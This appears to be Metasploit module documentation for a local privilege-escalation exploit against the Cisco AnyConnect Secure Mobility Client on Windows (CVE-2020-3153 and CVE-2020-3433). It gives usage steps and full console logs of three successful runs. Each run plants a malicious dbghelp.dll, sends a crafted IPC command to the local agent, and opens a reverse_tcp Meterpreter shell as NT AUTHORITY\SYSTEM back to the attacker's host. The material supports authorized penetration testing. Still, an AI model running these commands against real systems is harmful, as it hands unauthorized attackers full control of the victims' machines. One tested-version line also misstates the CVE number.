Vulnerable Application
The installer component of Cisco AnyConnect Secure Mobility Client for Windows prior to 4.8.02042 is vulnerable to path traversal and allows local attackers to create/overwrite files in arbitrary locations with system level privileges.
The installer component of Cisco AnyConnect Secure Mobility Client for Windows prior to 4.9.00086 is vulnerable to a DLL hijacking and allows local attackers to execute code on the affected machine with with system level privileges.
Both attacks consist in sending a specially crafted IPC request to the TCP port 62522 on the loopback device, which is exposed by the Cisco AnyConnect Secure Mobility Agent service. This service will then launch the vulnerable installer component (vpndownloader), which copies itself to an arbitrary location (CVE-2020-3153) or with a supplied DLL (CVE-2020-3433) before being executed with system privileges. Since vpndownloader is also vulnerable to DLL hijacking, a specially crafted DLL (dbghelp.dll) is created at the same location vpndownloader will be copied to get code execution with system privileges.
The CVE-2020-3153 exploit has been successfully tested against Cisco AnyConnect Secure Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10 version 1909 (x64) and Windows 7 SP1 (x86); the CVE-2020-3434 exploit has been successfully tested against Cisco AnyConnect Secure Mobility Client versions 4.5.02036, 4.6.03049, 4.7.04056, 4.8.01090 and 4.8.03052 on Windows 10 version 1909 (x64) and 4.7.4056 on Windows 7 SP1 (x64).
AnyConnect Secure Mobility Client is not publicly available and only customers with active contracts can download it. For this reason, download links have not been provided.
Install the Application
Unzip the AnyConnect package
Open the extracted folder
Run Setup.exe
Select Core & VPN only (no need to install the full package)
Click Install Selected
Confirm you want to install this specific version of Anyconnect (click OK)
Accept the EULA (click Accept)
Installation complete (click OK)... enjoy
Or just run the anyconnect-win-x.y.zzzzz-core-vpn-predeploy-k9.msi installer and follow the installation steps with the default options.
Verification Steps
Start msfconsole
Get a session with non-administrative privileges
Do: use exploit/windows/local/anyconnect_lpe
Do: set SESSION <SESSION>
Do: set payload windows/meterpreter/reverse_tcp
Do: set LHOST <LHOST>
Do: set LPORT <LPORT>
Do: check
Do: run
You should get a new session as the SYSTEM user
Options
INSTALL_PATH
Set Cisco AnyConnect Secure Mobility Client installation path (where vpndownloader.exeshould be found). It will be automatically detectedif not set.
CVE
Set the CVE to use (CVE-2020-3153 or CVE-2020-3433). Default: CVE-2020-3433.
ForceExploit
Set this to true to override the check result during exploitation.
Scenarios
Windows 10 version 1909 (x64) with AnyConnect 4.8.3052 - CVE-2020-3433
msf5 exploit(windows/local/anyconnect_lpe) > set SESSION 1
SESSION => 1
msf5 exploit(windows/local/anyconnect_lpe) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/anyconnect_lpe) > set lhost 192.168.1.24
lhost => 192.168.1.24
msf5 exploit(windows/local/anyconnect_lpe) > set lport 4445
lport => 4445
msf5 exploit(windows/local/anyconnect_lpe) > set verbose true
verbose => true
msf5 exploit(windows/local/anyconnect_lpe) > set CVE CVE-2020-3433
CVE => CVE-2020-3433
msf5 exploit(windows/local/anyconnect_lpe) > check
[*] Try to detect installation path...
[*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe'
[*] The target appears to be vulnerable. Cisco AnyConnect version 4.8.3052.0.0 < 4.9.00086 (CVE-2020-3433).
msf5 exploit(windows/local/anyconnect_lpe) > run
[*] Started reverse TCP handler on 192.168.1.24:4445
[*] Try to detect installation path...
[*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe'
[*] The target appears to be vulnerable. Cisco AnyConnect version 4.8.3052.0.0 < 4.9.00086 (CVE-2020-3433).
[*] "-ipc" argument needed
[*] Creating directory C:\Users\ATGO\AppData\Local\Temp\16Nkpr
[*] Meterpreter Session
[*] C:\Users\ATGO\AppData\Local\Temp\16Nkpr created
[*] Writing the payload to C:\Users\ATGO\AppData\Local\Temp\16Nkpr\dbghelp.dll
[*] IPC Command: "CAC-nc-install -ipc=76731 C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe C:\Users\ATGO\AppData\Local\Temp\16Nkpr\dbghelp.dll"
[*] Connecting to the AnyConnect agent on 127.0.0.1:62522
[*] Send the encoded IPC command (size = 288 bytes)
[*] Sending stage (176195 bytes) to 192.168.1.20
[*] Meterpreter session 3 opened (192.168.1.24:4445 -> 192.168.1.20:44712) at 2020-09-01 14:12:05 +0200
[+] Deleted C:\Users\ATGO\AppData\Local\Temp\16Nkpr\dbghelp.dll
[+] Deleted C:\Users\ATGO\AppData\Local\Temp\16Nkpr
[*] Shutdown the socket
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : W
OS : Windows 10 (10.0 Build 18363).
Architecture : x64
System Language : fr_FR
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
Windows 7 SP1 with AnyConnect 4.7.4056 - CVE-2020-3153
msf5 exploit(windows/local/anyconnect_lpe) > set session 4
session => 4
msf5 exploit(windows/local/anyconnect_lpe) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/anyconnect_lpe) > set lhost 192.168.1.24
lhost => 192.168.1.24
msf5 exploit(windows/local/anyconnect_lpe) > set lport 4445
lport => 4445
msf5 exploit(windows/local/anyconnect_lpe) > set verbose true
verbose => true
msf5 exploit(windows/local/anyconnect_lpe) > set cve CVE-2020-3153
cve => CVE-2020-3153
msf5 exploit(windows/local/anyconnect_lpe) > check
[*] Try to detect installation path...
[*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe'
[*] The target appears to be vulnerable. Cisco AnyConnect version 4.7.4056.0.0 < 4.8.02042 (CVE-2020-3153 & CVE-2020-3433).
msf5 exploit(windows/local/anyconnect_lpe) > run
[*] Started reverse TCP handler on 192.168.1.24:4445
[*] Try to detect installation path...
[*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe'
[*] The target appears to be vulnerable. Cisco AnyConnect version 4.7.4056.0.0 < 4.8.02042 (CVE-2020-3153 & CVE-2020-3433).
[*] "-ipc" argument needed
[*] Writing the payload to C:\ProgramData\Cisco\dbghelp.dll
[*] IPC Command: "CAC-nc-install -ipc=29278 C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\iZnG\iZnG\iZnG\iZnG\../../../../vpndownloader.exe -"
[*] Connecting to the AnyConnect agent on 127.0.0.1:62522
[*] Send the encoded IPC command (size = 270 bytes)
[*] Sending stage (176195 bytes) to 192.168.1.20
[*] Meterpreter session 5 opened (192.168.1.24:4445 -> 192.168.1.20:45098) at 2020-09-01 14:23:13 +0200
[+] Deleted C:\ProgramData\Cisco\dbghelp.dll
[+] Deleted C:\ProgramData\Cisco\vpndownloader.exe
[*] Shutdown the socket
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : ATGO-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
Windows 7 SP1 with AnyConnect 4.7.4056 - CVE-2020-3433
msf5 exploit(windows/local/anyconnect_lpe) > set session 4
session => 4
msf5 exploit(windows/local/anyconnect_lpe) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/anyconnect_lpe) > set lhost 192.168.1.24
lhost => 192.168.1.24
msf5 exploit(windows/local/anyconnect_lpe) > set lport 4445
lport => 4445
msf5 exploit(windows/local/anyconnect_lpe) > set verbose true
verbose => true
msf5 exploit(windows/local/anyconnect_lpe) > set cve CVE-2020-3433
cve => CVE-2020-3433
msf5 exploit(windows/local/anyconnect_lpe) > check
[*] Try to detect installation path...
[*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe'
[*] The target appears to be vulnerable. Cisco AnyConnect version 4.7.4056.0.0 < 4.8.02042 (CVE-2020-3153 & CVE-2020-3433).
msf5 exploit(windows/local/anyconnect_lpe) > run
[*] Started reverse TCP handler on 192.168.1.24:4445
[*] Try to detect installation path...
[*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe'
[*] The target appears to be vulnerable. Cisco AnyConnect version 4.7.4056.0.0 < 4.8.02042 (CVE-2020-3153 & CVE-2020-3433).
[*] "-ipc" argument needed
[*] Creating directory C:\Users\atgo\AppData\Local\Temp\fPTN4o
[*] Meterpreter Session
[*] C:\Users\atgo\AppData\Local\Temp\fPTN4o created
[*] Writing the payload to C:\Users\atgo\AppData\Local\Temp\fPTN4o\dbghelp.dll
[*] IPC Command: "CAC-nc-install -ipc=88243 C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe C:\Users\atgo\AppData\Local\Temp\fPTN4o\dbghelp.dll"
[*] Connecting to the AnyConnect agent on 127.0.0.1:62522
[*] Send the encoded IPC command (size = 288 bytes)
[*] Sending stage (176195 bytes) to 192.168.1.20
[*] Meterpreter session 6 opened (192.168.1.24:4445 -> 192.168.1.20:45102) at 2020-09-01 14:24:48 +0200
[+] Deleted C:\Users\atgo\AppData\Local\Temp\fPTN4o\dbghelp.dll
[+] Deleted C:\Users\atgo\AppData\Local\Temp\fPTN4o
[*] Shutdown the socket
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : ATGO-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
